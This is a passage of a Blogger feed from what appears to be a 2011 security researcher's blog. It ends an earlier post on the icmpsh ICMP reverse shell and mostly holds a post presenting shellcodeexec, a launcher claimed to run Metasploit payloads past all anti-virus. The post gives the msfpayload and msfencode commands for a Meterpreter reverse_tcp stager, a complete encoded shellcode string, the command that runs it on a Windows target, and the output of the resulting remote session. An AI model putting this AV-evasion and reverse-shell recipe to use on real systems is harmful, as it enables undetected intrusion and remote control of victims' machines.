src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmINPQ5Ky6FxqmaKjMVTYp7KGUdhScxNKjyU62Ykhlx5BhwBAngZclqoPk4LeKozi3GtfOeZbTyRPEq5St7H3EAZBqXaB68B3tbm8EV3EXRCScfPXWX2YsQsRVPByiyyXJWCErgFlbLxM/s400/running_icmpsh_slave_on_target.png&quot; border=&quot;0&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5595807415219398658&quot; style=&quot;display: block; margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; text-align: center; cursor: pointer; width: 400px; height: 264px; &quot; /&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;Running icmpsh slave on target system (192.168.136.129) by specifying the master IP 192.168.136.1&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgqHbVhkhCd7jVp8UuVp8M0d8ewmKgNFiuZPF8pjD3_BHekk__-v288bSrx_nyfOO7uLXAgEP3VqdlFdzWCStiRKbz6crAHUhBpwZL9258ndQzpcPM30fvgKrx-RuA0vhMq0qWqcnQhpMo/s1600/running_icmpsh_master_on_attacker_machine.png&quot; onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;&lt;img src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgqHbVhkhCd7jVp8UuVp8M0d8ewmKgNFiuZPF8pjD3_BHekk__-v288bSrx_nyfOO7uLXAgEP3VqdlFdzWCStiRKbz6crAHUhBpwZL9258ndQzpcPM30fvgKrx-RuA0vhMq0qWqcnQhpMo/s400/running_icmpsh_master_on_attacker_machine.png&quot; border=&quot;0&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5595807695434767762&quot; style=&quot;display: block; margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; text-align: center; cursor: pointer; width: 400px; height: 249px; &quot; /&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;Running icmpsh master on attacker machine (192.168.136.1) and issuing two&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;OS &lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small; &quot;&gt;commands onto the target system (192.168.136.129)&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small; &quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small; &quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: 18px; &quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgpsGP2pA4IwI9lSzcV9T8SvACpUwwaVZxg_ew0wutlvP0Knz-60Q1qHYW7ZtVWDYx1FgOoF-aChMA-zF3J_1IjBUfJIMcKXB3neY8-1Twx-Bn-xxWi0zGzS9QYhPRAQesfWiHPSVy2-A8/s1600/response_packet_from_icmpsh_slave_containing_output_of_command_whoami.png&quot; onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot;&gt;&lt;img src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgpsGP2pA4IwI9lSzcV9T8SvACpUwwaVZxg_ew0wutlvP0Knz-60Q1qHYW7ZtVWDYx1FgOoF-aChMA-zF3J_1IjBUfJIMcKXB3neY8-1Twx-Bn-xxWi0zGzS9QYhPRAQesfWiHPSVy2-A8/s400/response_packet_from_icmpsh_slave_containing_output_of_command_whoami.png&quot; border=&quot;0&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5595808030751325378&quot; style=&quot;display: block; margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; text-align: center; cursor: pointer; width: 400px; height: 293px; &quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;Response packet from icmpsh slave containing output of issued command &lt;i&gt;whoami&lt;/i&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;&lt;div style=&quot;text-align: justify; &quot;&gt;The forked tool can be found on my GitHub at &lt;a href=&quot;https://github.com/inquisb/icmpsh&quot;&gt;https://github.com/inquisb/icmpsh&lt;/a&gt;.&lt;/div&gt;&lt;div style=&quot;text-align: justify; &quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify; &quot;&gt;Feedback is always welcome!&lt;/div&gt;&lt;/span&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bernardodamele.blogspot.com/feeds/990983721162488749/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/5992960384014403726/990983721162488749' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5992960384014403726/posts/default/990983721162488749'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5992960384014403726/posts/default/990983721162488749'/><link rel='alternate' type='text/html' href='http://bernardodamele.blogspot.com/2011/04/reverse-connection-icmp-shell.html' title='Reverse connection: ICMP shell'/><author><name>Bernardo Damele A. G.</name><uri>http://www.blogger.com/profile/09559797097905287612</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmINPQ5Ky6FxqmaKjMVTYp7KGUdhScxNKjyU62Ykhlx5BhwBAngZclqoPk4LeKozi3GtfOeZbTyRPEq5St7H3EAZBqXaB68B3tbm8EV3EXRCScfPXWX2YsQsRVPByiyyXJWCErgFlbLxM/s72-c/running_icmpsh_slave_on_target.png" height="72" width="72"/><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5992960384014403726.post-7252173158099258526</id><published>2011-04-14T15:03:00.012+01:00</published><updated>2011-12-20T17:46:26.314+00:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="anti-forensics"/><category scheme="http://www.blogger.com/atom/ns#" term="memory protection"/><category scheme="http://www.blogger.com/atom/ns#" term="shellcode"/><title type='text'>Execute Metasploit payloads bypassing any anti-virus</title><content type='html'>&lt;div&gt;
&lt;b&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;History&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-style-span&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-style-span&quot;&gt;Back in 2009, a friend and I &lt;a href=&quot;http://bernardodamele.blogspot.com/2009/09/expanding-control-over-operating-system.html&quot;&gt;presented&lt;/a&gt; at &lt;a href=&quot;http://bernardodamele.blogspot.com/2009/09/source-barcelona-2009.html&quot;&gt;SOURCE Barcelona conference&lt;/a&gt; a technique to inject an alphanumeric-encoded shellcode in memory and execute it, bypassing any anti virus software, amongst other features. This was part of a research lent in sqlmap as a &lt;a href=&quot;https://svn.sqlmap.org/sqlmap/trunk/sqlmap/extra/udfhack/&quot;&gt;user-defined function&lt;/a&gt; for both &lt;a href=&quot;https://svn.sqlmap.org/sqlmap/trunk/sqlmap/udf/mysql/&quot;&gt;MySQL&lt;/a&gt; and &lt;a href=&quot;https://svn.sqlmap.org/sqlmap/trunk/sqlmap/udf/postgresql/&quot;&gt;PostgreSQL&lt;/a&gt;.&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-style-span&quot;&gt;&lt;br /&gt;Recently, I have slightly modified the code to leverage the technique in a clever shellcode launcher, &lt;a href=&quot;https://github.com/inquisb/shellcodeexec&quot;&gt;&lt;b&gt;shellcodeexec&lt;/b&gt;&lt;/a&gt;.&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-style-span&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;Background&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-style-span&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-style-span&quot;&gt;Most of the shellcode launchers out there, including proof of concepts part of many &lt;i&gt;security&lt;/i&gt; books, detail how to allocate a memory page as readable/writable/executable on POSIX systems, copy over your shellcode and execute it. This works just fine. However, it is limited to POSIX, does not necessarily consider 64-bit architecture and Windows systems.&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-style-span&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;Description&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-style-span&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-style-span&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;This script and the relevant project files (&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;Makefile&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot;&gt; and Visual Studio files) allow you to compile the tool once then run your shellcode across different architectures and operating systems.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-style-span&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-style-span&quot;&gt;Moreover, it solves a common real world issue: the target system&#39;s anti virus software blocking a Metasploit-generated payload stager (either EXE of ELF). Take for instance the following command line:&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;&lt;/span&gt;&lt;br /&gt;
&lt;blockquote&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;$ msfpayload windows/meterpreter/reverse_tcp EXITFUNC=process LPORT=4444 LHOST=192.168.136.1 R | msfencode -a x86 -e x86/shikata_ga_nai -o /tmp/payload.exe -t exe&lt;/span&gt;&lt;/blockquote&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-style-span&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;This generates a Metasploit payload stager, &lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;payload.exe&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;, that as soon as it lands on the AV-protected target system is recognized as malicious and potentially blocked (depending on the on-access scan settings) by many anti virus products. At the time of writing this text, &lt;a href=&quot;http://goo.gl/HTw7o&quot;&gt;&lt;b&gt;21&lt;/b&gt; out 41 anti viruses detect it as malicious&lt;/a&gt;. By encoding it multiple times with &lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;msfencode&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;, less AV softwares detect it, still a lot.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-style-span&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-style-span&quot;&gt;I have been surfing the Net and found some interesting tutorials and guides about packing, compressing, obfuscating and applying IDA-foo to portable executables et similar in order to narrow down the number of AV products that can detect it as a malicious file. This is all interesting, but does not stop few hard-to-die anti viruses to detect your backdoor.&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-style-span&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-style-span&quot;&gt;So the question is, how cool would it be to have a final solution to avoid all this hassle? This is exactly where this tool comes into play!&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-style-span&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;Features&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-style-span&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-style-span&quot;&gt;&lt;a href=&quot;https://github.com/inquisb/shellcodeexec&quot;&gt;shellcodeexec&lt;/a&gt;:&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;Can be compiled and works on &lt;b&gt;POSIX&lt;/b&gt; (Linux/Unices) and &lt;b&gt;Windows&lt;/b&gt; systems.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;Can be compiled and works on &lt;b&gt;32-bit&lt;/b&gt; and &lt;b&gt;64-bit&lt;/b&gt; architectures.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;As far as I know, &lt;b&gt;no AV detect it&lt;/b&gt; as malicious.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;Works in &lt;b&gt;DEP/NX-enabled environments&lt;/b&gt;: it allocates the memory page where it stores the shellcode as +rwx - Readable Writable and eXecutable.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;It &lt;b&gt;supports alphanumeric encoded payloads&lt;/b&gt;: you can pipe your binary-encoded shellcode (generated for instance with Metasploit&#39;s &lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;msfpayload&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;) to Metasploit&#39;s &lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;msfencode&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot;&gt; to encode it with the &lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;alpha_mixed&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot;&gt; encoder. Set the &lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;BufferRegister&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot;&gt; variable to &lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;EAX&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot;&gt; registry where the address in memory of the shellcode will be stored, to avoid &lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;get_pc()&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot;&gt; binary stub to be prepended to the shellcode.&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;Spawns a &lt;b&gt;new thread&lt;/b&gt; where the shellcode is executed in a structure exception handler (SEH) so that if you wrap &lt;a href=&quot;https://github.com/inquisb/shellcodeexec&quot;&gt;shellcodeexec&lt;/a&gt; into your own executable, &lt;b&gt;it avoids the whole process to crash&lt;/b&gt; in case of unexpected behaviours.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;Example&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-style-span&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-style-span&quot;&gt;&lt;/span&gt;&lt;br /&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-style-span&quot;&gt;1. Generate a Metasploit shellcode and encode it with the alphanumeric encoder. For example for a Windows target:&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;/div&gt;
&lt;blockquote&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-style-span&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;$ msfpayload windows/meterpreter/reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=192.168.136.1 R | msfencode -a x86 -e x86/alpha_mixed -t raw BufferRegister=EAX&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-style-span&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;[*] x86/alpha_mixed succeeded with size 634 (iteration=1)&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-style-span&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-style-span&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIIlKXNiEPEPC0CPMYIuTqN2E4LKV2P0NkCbTLLKQBEDNkQbGXTOLwCzEvP1IoTqIPNLGLCQQlERTlEpIQZoVmEQO7KRZPPRQGNkCbTPLKRbElEQZpNkCpQhLEIPQdPJGqZpPPLKQXR8NkQHEpGqN3M3ElG9LKP4NkEQZvP1KOEaO0LlO1ZoTMEQIWVXM0QeKDTCCML8EkQmEtPuIrV8LKQHEtC1KcE6NkVlRkNkRxELC1ICLKETNkGqN0MYRdQ4VDQKCkCQPYCjCaIoKPV8CoPZLKR2ZKMVCmQxVSGBC0EPRHCGPsP2QORtCXPLCGEvEWIoZuX8LPGqEPGpQ9ITCdV0CXEyMPPkC0IoKeRpV0RpPPCpPPG0RpPhIzTOIOKPKOKeLWRJEUPhKpNHMXVaRHVbC0R1ClMYM6PjTPCfV7E8NyI5PtQqKOIEMUKpT4TLIoPNVhCEXlRHXpOEI2PVIoZuQzGpRJGtV6QGQxC2IIZhQOKON5LKP6PjCpCXEPVpC0EPPVCZEPQxV8OTCcM5IoN5LSPSPjEPQFCcV7CXC2KiIXQOIoZuC1KsVIO6OuZVCEXlISAA&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/blockquote&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-style-span&quot;&gt;2. Execute the Metasploit multi/handler listener on your machine. For example for a Windows target:&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;/div&gt;
&lt;blockquote&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-style-span&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;$ msfcli multi/handler PAYLOAD=windows/meterpreter/reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=192.168.136.1 E&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/blockquote&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-style-span&quot;&gt;3. Execute the alphanumeric-encoded shellcode with this tool. For example on the Windows target:&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;blockquote&gt;
&lt;span class=&quot;Apple-style-span&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;C:\WINDOWS\Temp&amp;gt;shellcodeexec.exe PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIIlKXNiEPEPC0CPMYIuTqN2E4LKV2P0NkCbTLLKQBEDNkQbGXTOLwCzEvP1IoTqIPNLGLCQQlERTlEpIQZoVmEQO7KRZPPRQGNkCbTPLKRbElEQZpNkCpQhLEIPQdPJGqZpPPLKQXR8NkQHEpGqN3M3ElG9LKP4NkEQZvP1KOEaO0LlO1ZoTMEQIWVXM0QeKDTCCML8EkQmEtPuIrV8LKQHEtC1KcE6NkVlRkNkRxELC1ICLKETNkGqN0MYRdQ4VDQKCkCQPYCjCaIoKPV8CoPZLKR2ZKMVCmQxVSGBC0EPRHCGPsP2QORtCXPLCGEvEWIoZuX8LPGqEPGpQ9ITCdV0CXEyMPPkC0IoKeRpV0RpPPCpPPG0RpPhIzTOIOKPKOKeLWRJEUPhKpNHMXVaRHVbC0R1ClMYM6PjTPCfV7E8NyI5PtQqKOIEMUKpT4TLIoPNVhCEXlRHXpOEI2PVIoZuQzGpRJGtV6QGQxC2IIZhQOKON5LKP6PjCpCXEPVpC0EPPVCZEPQxV8OTCcM5IoN5LSPSPjEPQFCcV7CXC2KiIXQOIoZuC1KsVIO6OuZVCEXlISAA&lt;/span&gt;&lt;/span&gt;&lt;/blockquote&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-style-span&quot;&gt;If you head back to the terminal where the multi/handler is running you will happily see:&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;blockquote&gt;
&lt;div&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-style-span&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;$ msfcli multi/handler PAYLOAD=windows/meterpreter/reverse_tcp EXITFUhread LPORT=4444 LHOST=192.168.136.1 E&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-style-span&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;[*] Please wait while we load the module tree...&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-style-span&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-style-span&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;[...]&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-style-span&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;       =[ metasploit v3.7.0-dev [core:3.7 api:1.0]&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-style-span&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;+ -- --=[ 673 exploits - 354 auxiliary&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-style-span&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;+ -- --=[ 217 payloads - 27 encoders - 8 nops&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-style-span&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;       =[ svn r12306 updated 7 days ago (2011.04.07)&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-style-span&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-style-span&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;PAYLOAD =&amp;gt; windows/meterpreter/reverse_tcp&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-style-span&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;EXITFUNC =&amp;gt; thread&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-style-span&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;LPORT =&amp;gt; 4444&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-style-span&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;LHOST =&amp;gt; 192.168.136.1&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-style-span&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;[*] Started reverse handler on 192.168.136.1:4444 &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-style-span&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;[*] Starting the payload handler...&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-style-span&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;[*] Sending stage (749056 bytes) to 192.168.136.129&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-style-span&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;[*] Meterpreter session 1 opened (192.168.136.1:4444 -&amp;gt; 192.168.136.129:1581) at Thu Apr 14 15:30:15 +0100 2011&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-style-span&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-style-span&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;meterpreter &amp;gt; sysinfo&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-style-span&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;System Language : en_US&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-style-span&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;OS              : Windows .NET Server (Build 3790, Service Pack 2).&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-style-span&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;Computer        : W2K3R2&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-style-span&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;Architecture    : x86&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
